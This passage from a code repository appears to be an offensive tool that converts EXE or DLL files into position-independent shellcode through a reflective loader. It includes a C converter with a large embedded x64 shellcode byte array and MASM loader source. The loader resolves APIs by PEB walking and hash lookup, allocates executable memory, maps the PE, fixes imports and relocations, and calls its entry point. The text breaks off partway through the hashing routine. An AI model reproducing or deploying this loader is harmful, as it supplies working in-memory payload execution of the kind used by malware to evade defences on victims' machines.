0x48, 0x8B, 0x75, 0x08, 16 | 0x48, 0x8B, 0xF8, 0xF3, 0xA4, 0x44, 0x8B, 0x60, 17 | 0x3C, 0x4C, 0x03, 0xE0, 0x4C, 0x89, 0x65, 0x18, 18 | 0x41, 0x0F, 0xB7, 0x44, 0x24, 0x14, 0x4D, 0x8D, 19 | 0x74, 0x04, 0x18, 0x45, 0x0F, 0xB7, 0x6C, 0x24, 20 | 0x06, 0x41, 0x83, 0x7E, 0x10, 0x00, 0x74, 0x16, 21 | 0x41, 0x8B, 0x76, 0x14, 0x48, 0x03, 0x75, 0x08, 22 | 0x41, 0x8B, 0x7E, 0x0C, 0x48, 0x03, 0x7D, 0x10, 23 | 0x41, 0x8B, 0x4E, 0x10, 0xF3, 0xA4, 0x49, 0x83, 24 | 0xC6, 0x28, 0x41, 0xFF, 0xCD, 0x75, 0xDA, 0x48, 25 | 0x8B, 0x45, 0x18, 0x48, 0x8B, 0x5D, 0x10, 0x48, 26 | 0x2B, 0x58, 0x30, 0x53, 0x48, 0x8D, 0x90, 0xB0, 27 | 0x00, 0x00, 0x00, 0x8B, 0x12, 0x48, 0x03, 0x55, 28 | 0x10, 0x8B, 0x02, 0x85, 0xC0, 0x74, 0x40, 0x8B, 29 | 0x4A, 0x04, 0x48, 0x8D, 0x72, 0x08, 0x48, 0x03, 30 | 0xCA, 0x0F, 0xB7, 0x06, 0x8B, 0xD8, 0xC1, 0xEB, 31 | 0x0C, 0x66, 0x83, 0xFB, 0x0A, 0x75, 0x15, 0x25, 32 | 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x02, 0x48, 0x03, 33 | 0x45, 0x10, 0x48, 0x8B, 0x18, 0x48, 0x03, 0x1C, 34 | 0x24, 0x48, 0x89, 0x18, 0x48, 0x83, 0xC6, 0x02, 35 | 0x48, 0x3B, 0xCE, 0x74, 0x02, 0xEB, 0xD2, 0x8B, 36 | 0x42, 0x04, 0x48, 0x03, 0xD0, 0xEB, 0xBA, 0x5B, 37 | 0x48, 0x8B, 0x45, 0x18, 0x8B, 0x80, 0x90, 0x00, 38 | 0x00, 0x00, 0x4C, 0x8B, 0x65, 0x10, 0x4C, 0x03, 39 | 0xE0, 0x41, 0x83, 0x3C, 0x24, 0x00, 0x0F, 0x84, 40 | 0x8B, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x4C, 0x24, 41 | 0x0C, 0x48, 0x03, 0x4D, 0x10, 0x49, 0xC7, 0xC2, 42 | 0xE9, 0x0A, 0x59, 0x56, 0xE8, 0x4D, 0x01, 0x00, 43 | 0x00, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x93, 0x41, 44 | 0x8B, 0x34, 0x24, 0x48, 0x03, 0x75, 0x10, 0x41, 45 | 0x8B, 0x7C, 0x24, 0x10, 0x48, 0x03, 0x7D, 0x10, 46 | 0x83, 0x3E, 0x00, 0x74, 0x51, 0x48, 0x8B, 0x06, 47 | 0x48, 0x8B, 0xD0, 0x48, 0x85, 0xC0, 0x78, 0x1C, 48 | 0x48, 0x8B, 0xCB, 0x48, 0x03, 0x55, 0x10, 0x48, 49 | 0x83, 0xC2, 0x02, 0x49, 0xBA, 0x05, 0xB9, 0x58, 50 | 0xE6, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x0C, 0x01, 51 | 0x00, 0x00, 0xEB, 0x19, 0x48, 0x81, 0xE2, 0xFF, 52 | 0xFF, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x49, 0xBA, 53 | 0x05, 0xB9, 0x58, 0xE6, 0x00, 0x00, 0x00, 0x00, 54 | 0xE8, 0xF1, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 55 | 0x20, 0x48, 0x89, 0x07, 0x48, 0x83, 0xC6, 0x08, 56 | 0x48, 0x83, 0xC7, 0x08, 0xEB, 0xAA, 0x49, 0x83, 57 | 0xC4, 0x14, 0xE9, 0x6A, 0xFF, 0xFF, 0xFF, 0x48, 58 | 0x8B, 0x5D, 0x18, 0x0F, 0xB7, 0x43, 0x14, 0x4C, 59 | 0x8D, 0x64, 0x03, 0x18, 0x44, 0x0F, 0xB7, 0x6B, 60 | 0x06, 0x41, 0x8B, 0x44, 0x24, 0x24, 0x25, 0x00, 61 | 0x00, 0x00, 0xE0, 0xC1, 0xE8, 0x1D, 0xE8, 0x08, 62 | 0x00, 0x00, 0x00, 0x01, 0x10, 0x02, 0x20, 0x08, 63 | 0x80, 0x04, 0x40, 0x5E, 0x44, 0x0F, 0xB6, 0x04, 64 | 0x06, 0x41, 0x8B, 0x4C, 0x24, 0x0C, 0x48, 0x03, 65 | 0x4D, 0x10, 0x41, 0x8B, 0x54, 0x24, 0x10, 0x48, 66 | 0x83, 0xEC, 0x08, 0x4C, 0x8B, 0xCC, 0x49, 0xBA, 67 | 0x76, 0x82, 0x91, 0xE3, 0x00, 0x00, 0x00, 0x00, 68 | 0xE8, 0x81, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 69 | 0x28, 0x49, 0x83, 0xC4, 0x28, 0x41, 0xFF, 0xCD, 70 | 0x45, 0x85, 0xED, 0x75, 0xAC, 0x48, 0x8B, 0x45, 71 | 0x18, 0x48, 0x8D, 0x80, 0xD0, 0x00, 0x00, 0x00, 72 | 0x83, 0x78, 0x04, 0x00, 0x74, 0x27, 0x8B, 0x10, 73 | 0x48, 0x03, 0x55, 0x10, 0x48, 0x8B, 0x7A, 0x18, 74 | 0x48, 0x83, 0x3F, 0x00, 0x74, 0x17, 0x48, 0x8B, 75 | 0x07, 0x48, 0x8B, 0x4D, 0x10, 0xBA, 0x01, 0x00, 76 | 0x00, 0x00, 0x45, 0x33, 0xC0, 0xFF, 0xD0, 0x48, 77 | 0x83, 0xC7, 0x08, 0xEB, 0xE3, 0x48, 0x8B, 0x75, 78 | 0x18, 0x66, 0x8B, 0x46, 0x16, 0x66, 0xA9, 0x00, 79 | 0x20, 0x74, 0x20, 0x48, 0x83, 0xEC, 0x20, 0x8B, 80 | 0x5E, 0x28, 0x48, 0x03, 0x5D, 0x10, 0x48, 0x8B, 81 | 0x4D, 0x10, 0x48, 0xC7, 0xC2, 0x01, 0x00, 0x00, 82 | 0x00, 0x45, 0x33, 0xC0, 0xFF, 0xD3, 0x48, 0x83, 83 | 0xC4, 0x28, 0xC3, 0x8B, 0x5E, 0x28, 0x48, 0x03, 84 | 0x5D, 0x10, 0xFF, 0xD3, 0x58, 0xC3, 0x41, 0x51, 85 | 0x41, 0x50, 0x52, 0x51, 0x56, 0x41, 0x54, 0x48, 86 | 0x33, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 87 | 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 88 | 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x48, 89 | 0x4D, 0x33, 0xC0, 0x48, 0x33, 0xC0, 0xAC, 0x3C, 90 | 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC8, 91 | 0x0D, 0x44, 0x03, 0xC0, 0xFF, 0xC9, 0x75, 0xEB, 92 | 0x52, 0x41, 0x50, 0x48, 0x8B, 0x52, 0x20, 0x8B, 93 | 0x42, 0x3C, 0x48, 0x03, 0xC2, 0x66, 0x81, 0x78, 94 | 0x18, 0x0B, 0x02, 0x75, 0x79, 0x8B, 0x80, 0x88, 95 | 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x6E, 96 | 0x48, 0x03, 0xC2, 0x50, 0x8B, 0x48, 0x18, 0x44, 97 | 0x8B, 0x48, 0x20, 0x4C, 0x03, 0xCA, 0x48, 0x85, 98 | 0xC9, 0x74, 0x5A, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 99 | 0x34, 0x89, 0x48, 0x03, 0xF2, 0x4D, 0x33, 0xC0, 100 | 0x48, 0x33, 0xC0, 0xAC, 0x84, 0xC0, 0x74, 0x09, 101 | 0x41, 0xC1, 0xC8, 0x0D, 0x44, 0x03, 0xC0, 0xEB, 102 | 0xEF, 0x4C, 0x03, 0x44, 0x24, 0x08, 0x45, 0x3B, 103 | 0xC2, 0x75, 0xD3, 0x58, 0x44, 0x8B, 0x48, 0x24, 104 | 0x4C, 0x03, 0xCA, 0x66, 0x41, 0x8B, 0x0C, 0x49, 105 | 0x44, 0x8B, 0x48, 0x1C, 0x4C, 0x03, 0xCA, 0x41, 106 | 0x8B, 0x04, 0x89, 0x48, 0x03, 0xC2, 0x41, 0x58, 107 | 0x41, 0x58, 0x41, 0x5C, 0x5E, 0x59, 0x5A, 0x41, 108 | 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 109 | 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x58, 110 | 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x46, 0xFF, 0xFF, 111 | 0xFF 112 | }; 113 | 114 | // 辅助函数:将32位整数打包为小端字节序 115 | void pack(uint32_t val, uint8_t* bytes) { 116 | bytes[0] = val & 0xFF; 117 | bytes[1] = (val >> 8) & 0xFF; 118 | bytes[2] = (val >> 16) & 0xFF; 119 | bytes[3] = (val >> 24) & 0xFF; 120 | } 121 | 122 | int wmain(int argc, wchar_t* argv[]) { 123 | 124 | printf("╔══════════════════════════════════════════════════════════════════════════════════════╗\n"); 125 | printf("║ Convert2Shellcode_front ║\n"); 126 | printf("║------------------------------------------------------------------------------------- ║\n"); 127 | printf("║ Function: Use front-style RDI to convert EXE/DLL into position-independent shellcode ║\n"); 128 | printf("║ Author:oneday ║\n"); 129 | printf("║ Compilation Date:%hs %hs ║\n", __DATE__, __TIME__); 130 | printf("╚══════════════════════════════════════════════════════════════════════════════════════╝\n"); 131 | printf("\n"); 132 | 133 | // 检查参数数量 134 | if (argc < 2) { 135 | printf("[-] Error: Missing DLL/EXE path parameter\n"); 136 | printf("[*] Usage: Convert2Shellcode_front.exe [Output File Path]\n"); 137 | printf("[*] Example 1: Convert2Shellcode_front.exe C:\\path\\to\\Test.dll\n"); 138 | printf("[*] Example 2: Convert2Shellcode_front.exe C:\\path\\to\\ReflectiveDLL.dll C:\\path\\to\\Shellcode.bin\n"); 139 | return 1; 140 | } 141 | 142 | uint8_t* finalcode = NULL; 143 | uint8_t bootstrap[58]; 144 | int bootstrapSize = 58; 145 | size_t finalSize = 0; 146 | uint8_t* dllBytes = NULL; 147 | size_t dllSize = 0; 148 | 149 | // 构建引导代码 150 | int index = 0; 151 | bootstrap[index++] = 0xFC; // cld 152 | 153 | /* 154 | ; 保存非易失性寄存器 155 | push rbx 156 | push rbp 157 | push rsi 158 | push rdi 159 | push r12 160 | push r13 161 | push r14 162 | push r15 163 | */ 164 | uint8_t pushRegisters[] = { 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57 }; 165 | memcpy(bootstrap + index, pushRegisters, sizeof(pushRegisters)); 166 | index += sizeof(pushRegisters); 167 | 168 | // call next instruction 169 | bootstrap[index++] = 0xE8; 170 | bootstrap[index++] = 0x00; 171 | bootstrap[index++] = 0x00; 172 | bootstrap[index++] = 0x00; 173 | bootstrap[index++] = 0x00; 174 | 175 | // 计算DLL偏移量 176 | size_t rdiShellcodeSize = sizeof(rdiShellcode64); 177 | uint32_t dllOffset = bootstrapSize - index + rdiShellcodeSize; 178 | 179 | // pop rax 180 | bootstrap[index++] = 0x58; 181 | 182 | // add rax, 183 | bootstrap[index++] = 0x48; 184 | bootstrap[index++] = 0x05; 185 | pack(dllOffset, bootstrap + index); 186 | index += 4; 187 | 188 | // mov rbp, rsp 189 | bootstrap[index++] = 0x48; 190 | bootstrap[index++] = 0x8B; 191 | bootstrap[index++] = 0xEC; 192 | 193 | // sub rsp, 18h 194 | bootstrap[index++] = 0x48; 195 | bootstrap[index++] = 0x83; 196 | bootstrap[index++] = 0xEC; 197 | bootstrap[index++] = 0x18; 198 | 199 | // mov qword ptr [rbp+8], rax 200 | bootstrap[index++] = 0x48; 201 | bootstrap[index++] = 0x89; 202 | bootstrap[index++] = 0x45; 203 | bootstrap[index++] = 0x08; 204 | 205 | // call ReflectiveLoader 206 | bootstrap[index++] = 0xE8; 207 | uint8_t callOffset = bootstrapSize - index - 4; 208 | bootstrap[index++] = callOffset; 209 | bootstrap[index++] = 0x00; 210 | bootstrap[index++] = 0x00; 211 | bootstrap[index++] = 0x00; 212 | 213 | // add rsp, 18h 214 | bootstrap[index++] = 0x48; 215 | bootstrap[index++] = 0x83; 216 | bootstrap[index++] = 0xC4; 217 | bootstrap[index++] = 0x18; 218 | 219 | /* 220 | ;------------------------------------------------------------------- 221 | ; 恢复到调用ReflectiveLoader之前的栈空间和寄存器状态 222 | ;------------------------------------------------------------------- 223 | pop r15 224 | pop r14 225 | pop r13 226 | pop r12 227 | pop rdi 228 | pop rsi 229 | pop rbp 230 | pop rbx 231 | ret 232 | */ 233 | uint8_t popRegisters[] = { 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3 }; 234 | memcpy(bootstrap + index, popRegisters, sizeof(popRegisters)); 235 | index += sizeof(popRegisters); 236 | 237 | const wchar_t* dllPath = argv[1]; 238 | FILE* dllFile = _wfopen(dllPath, L"rb"); 239 | if (!dllFile) { 240 | printf("[-] Error: Unable to open file %s (Error code: %d)\n", dllPath, GetLastError()); 241 | return 1; 242 | } 243 | printf("[+] Successfully opened %s\n", dllPath); 244 | 245 | // 获取文件大小 246 | fseek(dllFile, 0, SEEK_END); 247 | dllSize = ftell(dllFile); 248 | fseek(dllFile, 0, SEEK_SET); 249 | if (dllSize == 0) { 250 | printf("[-] Error: File size is 0 - %s\n", dllPath); 251 | fclose(dllFile); 252 | return 1; 253 | } 254 | printf("[*] File size is %zu\n", dllSize); 255 | 256 | // 读取文件内容 257 | dllBytes = (uint8_t*)malloc(dllSize); 258 | if (!dllBytes) { 259 | printf("[-] Error: Memory allocation failed (requested dllSize: %zu bytes)\n", dllSize); 260 | fclose(dllFile); 261 | return 1; 262 | } 263 | printf("[+] Memory allocation successful, address is 0x%x\n", dllBytes); 264 | 265 | size_t bytesRead = fread(dllBytes, 1, dllSize, dllFile); 266 | fclose(dllFile); 267 | if (bytesRead != dllSize) { 268 | printf("[-] Error: File read incomplete (read %zu/%zu bytes)\n", bytesRead, dllSize); 269 | free(dllBytes); 270 | return 1; 271 | } 272 | printf("[*] %zu bytes read into memory\n", bytesRead); 273 | 274 | 275 | finalSize = bootstrapSize + rdiShellcodeSize + dllSize; 276 | finalcode = (uint8_t*)malloc(finalSize); 277 | if (!finalcode) { 278 | printf("[-] Error: Memory allocation failed (requested finalSize: %zu bytes)\n", finalSize); 279 | free(dllBytes); 280 | return 1; 281 | } 282 | printf("[+] Memory allocation successful, address is 0x%x\n", finalcode); 283 | 284 | // 构造最终的shellcode 285 | memcpy(finalcode, bootstrap, bootstrapSize); 286 | memcpy(finalcode + bootstrapSize, rdiShellcode64, rdiShellcodeSize); 287 | memcpy(finalcode + bootstrapSize + rdiShellcodeSize, dllBytes, dllSize); 288 | 289 | // 释放 DLL 缓冲区 290 | free(dllBytes); 291 | 292 | // 处理输出文件参数 293 | const wchar_t* outputPath = (argc >= 3) ? argv[2] : L"shellcode_front.bin"; 294 | 295 | // 写入文件 296 | HANDLE hFile = CreateFileW( 297 | outputPath, 298 | GENERIC_WRITE, 299 | 0, 300 | NULL, 301 | CREATE_ALWAYS, 302 | FILE_ATTRIBUTE_NORMAL, 303 | NULL 304 | ); 305 | 306 | if (hFile == INVALID_HANDLE_VALUE) { 307 | printf("[-] Error: Unable to create output file %s (Error code: %d)\n", outputPath, GetLastError()); 308 | free(finalcode); 309 | return 1; 310 | } 311 | 312 | DWORD bytesWritten; 313 | BOOL writeResult = WriteFile( 314 | hFile, 315 | finalcode, 316 | (DWORD)finalSize, 317 | &bytesWritten, 318 | NULL 319 | ); 320 | 321 | if (!writeResult || bytesWritten != finalSize) { 322 | printf("[-] Error: Failed to write to file (wrote %lu/%zu bytes, error code: %d)\n", 323 | bytesWritten, finalSize, GetLastError()); 324 | CloseHandle(hFile); 325 | free(finalcode); 326 | return 1; 327 | } 328 | 329 | FlushFileBuffers(hFile); 330 | CloseHandle(hFile); 331 | printf("[+] Successfully generated shellcode file: %s (Size: %zu bytes)\n", outputPath, finalSize); 332 | 333 | return 0; 334 | } -------------------------------------------------------------------------------- /SRDI Asm/RDI_front.asm: -------------------------------------------------------------------------------- 1 | ;---------------------------------------------------------------------------------- 2 | ; Author: oneday 3 | ; Language: MASM 4 | ; Details: front-style RDI shellcode 5 | ;---------------------------------------------------------------------------------- 6 | 7 | .code 8 | 9 | main proc 10 | 11 | ;------------------------------------------------------------------- 12 | ; [rbp+8] = 旧DOS头地址(基址) 13 | ; [rbp+16] = 新DOS头地址(基址) 14 | ; [rbp+24] = 新NT头地址 15 | ; LoadPEIntoMemory64 16 | ;------------------------------------------------------------------- 17 | push rax ; 对齐 18 | 19 | ; 获取 SizeOfImage 20 | mov rax, [rbp+8] ; 旧DOS头地址 21 | mov r12d, dword ptr [rax+3Ch] ; PE头RVA(原文件) 22 | add r12, rax ; r12 = 原内存中的NT头地址 23 | mov edx, dword ptr [r12+50h] ; SizeOfImage(64位) 24 | 25 | ; 调用 VirtualAlloc 分配内存 26 | xor rcx, rcx ; lpAddress = NULL 27 | ; rdx = SizeOfImage 28 | mov r8d, 1000h ; MEM_COMMIT 29 | mov r9d, 40h ; PAGE_EXECUTE_READWRITE 30 | mov r10, 0FBFA86AFh ; VirtualAlloc哈希 31 | call GetProcAddressByHash 32 | add rsp,32 ; 清理影子空间 33 | mov qword ptr [rbp+16], rax ; 保存新基址到[rbp+16] 34 | 35 | ; 复制NT头 36 | mov ecx, dword ptr [r12+54h] ; SizeOfHeaders 37 | mov rsi, [rbp+8] ; 旧DOS头地址 38 | mov rdi, rax ; 新基址 39 | rep movsb 40 | 41 | ; 重定向NT头地址 42 | mov r12d, dword ptr [rax+3ch] ; 获取pe头RVA 43 | add r12, rax ; r12=新NT头地址 44 | mov [rbp+24],r12 ; 新NT地址存储在[rbp+24] 45 | 46 | ; 遍历节表 47 | movzx eax, word ptr [r12+14h] ; SizeOfOptionalHeader 48 | lea r14, [r12+rax+18h] ; 节表起始地址 49 | movzx r13d, word ptr [r12+6] ; 节区数量 50 | 51 | next_section: 52 | cmp dword ptr [r14+10h], 0 ; SizeOfRawData 53 | je get_next_section ; SizeOfRawData为0,则复制下一个节 54 | 55 | copy_section_data: 56 | mov esi, [r14+14h] ; PointerToRawData 57 | add rsi, [rbp+8] ; 源地址 58 | mov edi, [r14+0Ch] ; VirtualAddress 59 | add rdi, [rbp+16] ; 目标地址 60 | mov ecx, [r14+10h] ; SizeOfRawData 61 | rep movsb 62 | 63 | get_next_section: 64 | add r14, 28h ; 一个节头28h 65 | dec r13d ; 计数器减1 66 | jnz next_section ; 如果计数器减为0,则结束 67 | 68 | ;------------------------------------------------------------------- 69 | ; [rbp+8] = 旧DOS头地址(基址) 70 | ; [rbp+16] = 新DOS头地址(基址) 71 | ; [rbp+24] = 新NT头地址 72 | ; FixRelocations 73 | ;------------------------------------------------------------------- 74 | ; 获取 Delta = NewBase - OldBase 75 | mov rax,[rbp+24] ; PE头地址 76 | mov rbx,[rbp+16] ; NewBase 77 | sub rbx,[rax+30h] ; OldBase (ImageBase) 78 | push rbx ; 保存 Delta 79 | 80 | ; 定位重定位目录 (DataDirectory[5])和重定位表 81 | lea rdx, [rax + 88h + 5*8] ; 重定位目录 82 | mov edx, dword ptr [rdx] ; RVA of Reloc Table 83 | add rdx, [rbp+16] ; 转换为实际地址: NewBase + RVA, rdx = 重定位表入口点 84 | 85 | next_block: 86 | mov eax, dword ptr [rdx] ; VirtualAddress 87 | test eax,eax ; 如果重定位块的VirtualAddress 88 | jz reloc_done 89 | mov ecx, dword ptr [rdx+4] ; SizeOfBlock 90 | lea rsi, [rdx + 8] ; 条目数据起始地址 = rdx + 8 91 | add rcx,rdx ; 边界值 92 | next_entry: 93 | movzx eax, word ptr [rsi] ; 读取条目 94 | mov ebx, eax 95 | shr ebx, 12 ; 类型 (高4位) 96 | cmp bx, 0Ah ; IMAGE_REL_BASED_DIR64 97 | jne get_next_entry 98 | 99 | ; 计算目标地址: NewBase + VirtualAddress + Offset 100 | and eax, 0FFFh ; Offset (低12位) 101 | add eax, dword ptr [rdx] ; VirtualAddress (当前块) 102 | add rax, [rbp+16] ; NewBase 103 | 104 | ; 修正地址 105 | mov rbx, [rax] ; 读取原值 106 | add rbx, [rsp] ; 修正后的值 = 原值 + 获取栈上的Delta 107 | mov [rax], rbx ; 修正后的值填入原处 108 | 109 | get_next_entry: 110 | add rsi, 2 ; 没有到边界,就移动到下一个重定位项,一个重定位项占16位 111 | cmp rcx,rsi ; 判断是否到达了边界值 112 | je get_next_block ; 如果到了边界值就下一个重定位块 113 | jmp next_entry 114 | 115 | get_next_block: 116 | mov eax, dword ptr [rdx+4] ; 获取当前块大小 117 | add rdx, rax ; 移动到下一重定位块 118 | jmp next_block 119 | 120 | reloc_done: 121 | pop rbx ; clear Delta 122 | 123 | ;------------------------------------------------------------------- 124 | ; [rbp+8] = 旧DOS头地址(基址) 125 | ; [rbp+16] = 新DOS头地址(基址) 126 | ; [rbp+24] = 新NT头地址 127 | ; ParseImportTable 128 | ;------------------------------------------------------------------- 129 | 130 | ; 获取导入目录 131 | mov rax,[rbp+24] ; 获取NT头地址 132 | mov eax,dword ptr [rax + 8 + 88h] ; 获取导入表RVA 133 | mov r12,qword ptr [rbp+16] ; 获取基址 134 | add r12,rax ; r12 = 获取导入表的VA 135 | 136 | ; 解析单个DLL的导入函数 137 | next_dll: 138 | cmp dword ptr [r12], 0 ; 判断导入描述符是否结束(全零) 139 | je loop_dll_end 140 | 141 | ; 处理当前DLL的导入项 142 | mov ecx, dword ptr [r12 + 0ch] ; DLLname RVA 143 | add rcx,[rbp + 16] ; DLLname VA 可以动态调式看看 144 | mov r10,56590AE9h ; kernel32.dll+LoadLibraryA的哈希值 145 | call GetProcAddressByHash ; 获取模块 146 | add rsp,32 ; 清除影子空间 147 | xchg rbx,rax ; rbx = 加载dll的模块基址 148 | 149 | mov esi,dword ptr [r12] ; INT RVA 150 | add rsi,qword ptr [rbp+16] ; INT VA 151 | mov edi,dword ptr [r12+16] ; IAT RVA 152 | add rdi,qword ptr [rbp+16] ; IAT VA 153 | 154 | next_thunk: 155 | cmp dword ptr [rsi], 0 ; 检查当前导入名称表(INT)条目是否为0 156 | je get_next_dll ; 全零表示结束 157 | 158 | mov rax,qword ptr [rsi] ; 获取INT条目值 159 | mov rdx,rax ; 保存 160 | test rax,rax ; 判断是按名称导入还是按序号导入 161 | js import_by_ordinal ; SF=1,名称导入 162 | 163 | ; 按名称导入 164 | import_by_Name: 165 | mov rcx,rbx ; hModule 166 | add rdx,qword ptr [rbp + 16] ; 获取IMAGE_IMPORT_BY_NAME结构体 167 | add rdx,2 ; 跳过Hint字段 168 | mov r10,0E658B905h ; kernel32.dll+GetProcAddress hash 169 | call GetProcAddressByHash 170 | jmp get_next_thunk 171 | 172 | ; 按序号导入 173 | import_by_ordinal: 174 | and rdx, 0FFFFh ; 获取序号 175 | mov rcx,rbx ; hModule 176 | mov r10,0E658B905h ; kernel32.dll+GetProcAddress hash 177 | call GetProcAddressByHash 178 | 179 | get_next_thunk: 180 | add rsp,32 ; 恢复到调用前的状态 181 | mov [rdi],rax ; 函数地址填入到IAT相应的位置 182 | add rsi,8 ; 移动到下一个INT条目 183 | add rdi,8 ; 移动到下一个IAT条目 184 | jmp next_thunk 185 | 186 | get_next_dll: 187 | add r12,14h ; 一个descriptor的大小为14h 188 | jmp next_dll ; 处理下一个descriptor 189 | 190 | loop_dll_end: ; 执行后续代码 191 | 192 | ;------------------------------------------------------------------- 193 | ; [rbp+8] = 旧DOS头地址(基址) 194 | ; [rbp+16] = 新DOS头地址(基址) 195 | ; [rbp+24] = 新NT头地址 196 | ; AdjustMemProtect 197 | ;------------------------------------------------------------------- 198 | 199 | ; 获取节表信息 200 | mov rbx,[rbp+24] 201 | movzx eax,word ptr [rbx+14h] ; FileHeader.SizeOfOptionalHeader 202 | lea r12,[rbx+rax+18h] ; r12 = pSectionHeader 203 | movzx r13d,word ptr [rbx+6] ; SectionNumber 204 | 205 | next_section1: 206 | ; 在这里修复各节属性 207 | mov eax,dword ptr [r12+24h] ; Characteristics 208 | and eax,0E0000000h ; 只保留29、30、31位(MEM_WRITE/MEM_READ/MEM_EXECUTE),其余位清零 209 | shr eax,29 ; 右移29位 210 | 211 | call Get_Protect 212 | 213 | ; 内存保护常量表(字节数组) 214 | ProtectionTable: 215 | db 01h ; [0] PAGE_NOACCESS 216 | db 10h ; [1] PAGE_EXECUTE 217 | db 02h ; [2] PAGE_READONLY 218 | db 20h ; [3] PAGE_EXECUTE_READ 219 | db 08h ; [4] PAGE_WRITECOPY 220 | db 80h ; [5] PAGE_EXECUTE_WRITECOPY 221 | db 04h ; [6] PAGE_READWRITE 222 | db 40h ; [7] PAGE_EXECUTE_READWRITE 223 | 224 | Get_Protect: 225 | pop rsi 226 | movzx r8d, byte ptr [rsi + rax] 227 | 228 | SetMemProtect: 229 | mov ecx,dword ptr [r12 + 0Ch] 230 | add rcx,[rbp+16] ; lpAddress = 节的起始地址 231 | mov edx,[r12 + 10h] ; dwSize = 节的大小 232 | sub rsp,8 233 | ; flNewProtect 234 | mov r9,rsp ; lpflOldProtect 235 | mov r10,0E3918276h ; kernel32 + VirtualProtect hash 236 | call GetProcAddressByHash 237 | add rsp,40 ; 清除32字节影子空间+8字节的lpflOldProtect 238 | 239 | get_next_section1: 240 | add r12, 28h ; 下一个节头,一个节头28h字节 241 | dec r13d ; 节头数减一 242 | test r13d,r13d ; 检查是否为0 243 | jnz next_section1 ; 如果节头数为0,则结束循环 244 | 245 | ;------------------------------------------------------------------- 246 | ; [rbp+8] = 旧DOS头地址(基址) 247 | ; [rbp+16] = 新DOS头地址(基址) 248 | ; [rbp+24] = 新NT头地址 249 | ; ExecuteTLSCallbacks 250 | ;------------------------------------------------------------------- 251 | 252 | mov rax,[rbp+24] ; 新NT头 253 | lea rax,[rax + 88h + 72] ; TLS 数据目录项地址 254 | 255 | ; 检查TLS目录大小 256 | cmp dword ptr [rax+4],0 ; 比较 TLS 目录大小字段 257 | je entry ; 如果大小为0,跳转到入口点 (无TLS回调) 258 | 259 | ; 获取TLS目录VA (tlsDir) 260 | mov edx,dword ptr [rax] ; TLS目录的RVA 261 | add rdx,[rbp+16] ; TLS目录的VA 262 | 263 | ; 获取回调函数数组 (callback) 264 | mov rdi,[rdx+3*8] ; 回调函数数组的首地址AddressOfCallBacks 265 | 266 | next_tlscallback: 267 | cmp qword ptr [rdi],0 ; 检查当前回调函数指针是否为NULL 268 | je entry ; 若为NULL(数组结束),跳转到入口点 269 | 270 | mov rax,[rdi] ; 当前回调函数的地址 271 | mov rcx,[rbp+16] ; 参数1: 模块基址 272 | mov edx,1 ; 参数2: DLL_PROCESS_ATTACH (值=1) 273 | xor r8d,r8d ; R8 = 参数3: NULL 274 | call rax ; 调用TLS回调函数 275 | 276 | get_next_tlscallback: 277 | add rdi,8 ; 移动到下一个函数指针 278 | jmp next_tlscallback ; 继续循环 279 | 280 | 281 | ;------------------------------------------------------------------- 282 | ; 根据EXE或DLL相应的特征调用入口点 283 | ; GoToEntry 284 | ;------------------------------------------------------------------- 285 | entry: 286 | mov rsi, [rbp+24] ; 获取PE头地址 287 | mov ax, word ptr [rsi+16h] ; 读取Characteristics字段 288 | test ax, 2000h ; 检查是否为DLL (0x2000) 289 | jz is_exe ; 非DLL则跳转EXE处理 290 | 291 | sub rsp,32 292 | mov ebx,dword ptr [rsi + 28h] ; 调用DLL入口点 RVA 293 | add rbx,[rbp+16] ; 调用DLL入口点 VA 294 | mov rcx,[rbp+16] 295 | mov rdx,1 296 | xor r8d,r8d 297 | call rbx 298 | 299 | add rsp,40 300 | ret 301 | 302 | is_exe: 303 | mov ebx,dword ptr [rsi + 28h] ; 调用EXE入口点 RVA 304 | add rbx,[rbp+16] ; 调用EXE入口点 VA 305 | call rbx 306 | pop rax ; 清除对齐值 307 | ret 308 | 309 | main endp 310 | 311 | GetProcAddressByHash proc 312 | 313 | 314 | ; 1. 保存前4个参数到栈上,并保存rsi和r12的值 315 | push r9 316 | push r8 317 | push rdx 318 | push rcx 319 | push rsi 320 | push r12 321 | 322 | ; 2. 获取 InMemoryOrderModuleList 模块链表的第一个模块结点 323 | xor rdx,rdx ; 清零 324 | mov rdx,gs:[rdx+60h] ; 通过GS段寄存器获取PEB地址(TEB偏移0x60处) 325 | mov rdx,[rdx+18h] ; PEB->Ldr 326 | mov rdx,[rdx+20h] ; 第一个模块节点,也是链表InMemoryOrderModuleList的首地址 327 | 328 | ;3.模块遍历 329 | next_mod: 330 | mov rsi,[rdx+50h] ; 模块名称 331 | movzx rcx,word ptr [rdx+48h] ; 模块名称长度 332 | xor r8,r8 ; 存储接下来要计算的hash 333 | 334 | ; 4.计算模块hash 335 | loop_modname: 336 | xor rax, rax ; 清零EAX,准备处理字符 337 | lodsb ; 从rSI加载一个字节到AL(自动递增rSI) 338 | cmp al,'a' ; 比较当前字符的ASCII值是否小于小写字母'a'(0x61) 339 | jl not_lowercase ; 如果字符 < 'a',说明不是小写字母,跳转不处理 340 | sub al, 20h ; 若字符在'a'-'z'范围内,通过减0x20转换为大写字母('A'-'Z') 341 | not_lowercase: 342 | ror r8d,0dh ; 对R8的低32位进行循环右移13位,不影响高32位 343 | add r8d,eax ; 